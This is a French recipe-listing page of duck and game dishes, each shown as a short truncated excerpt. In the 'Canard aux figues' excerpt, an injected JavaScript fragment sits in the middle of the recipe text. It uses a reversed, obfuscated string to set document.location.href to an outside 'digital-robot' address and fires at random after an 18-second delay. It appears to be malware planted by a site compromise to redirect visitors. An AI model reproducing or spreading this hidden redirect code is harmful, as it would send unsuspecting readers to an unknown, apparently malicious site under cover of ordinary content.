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Catégories : Abats , Boissons , Bouillons , Confiseries , Desserts , Fruits , Légumes

Recipes From Cuisine: Viandes

Magret grillé au melon

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Coupez le magret de canard en tranches très fines. Enduisez chaque tranche de magret de ...

Christine. Lire la suite

Canard aux pruneaux

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Salez, poivrez l’intérieur et l’extérieur du canard. Pelez les oignons et l’ail. Garnissez l’intérieur du ...

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Canard à l’orange

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Rincez, séchez et prélevez le zeste de 2 oranges et les couper en fines lamelles. ...

Christine. Lire la suite

Canard à l’ananas

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Videz, essuyez, salez et poivrez le canard intérieur et extérieur. Déposez à l’intérieur du canard ...

Christine. Lire la suite

Carpaccio de magret de canard fumé au melon

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Rincez, essorez, ciselez le cerfeuil. Coupez-les melons en quatre, ôtez les graines et coupez la ...

Christine. Lire la suite

Magret de canard avec de la pastèque

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Coupez la pastèque en petits dés. Détaillez le magret de canard fumé en fines lamelles. ...

Christine. Lire la suite

Canard aux figues

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Préparez la marinade en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les ingrédients dans ...

Christine. Lire la suite

Cuisses de canette avec des coings

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Faites dorer les cuisses de canette dans une cocotte avec 2 cuillères à soupe d’huile ...

Christine. Lire la suite

Carpaccio de canard

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Avec un couteau économe faites des copeaux de parmesan. Dans une poêle sans matière grasse ...

Christine. Lire la suite

Rôti de sanglier

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Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Pelez, hachez les échalotes et ...

Christine.. Lire la suite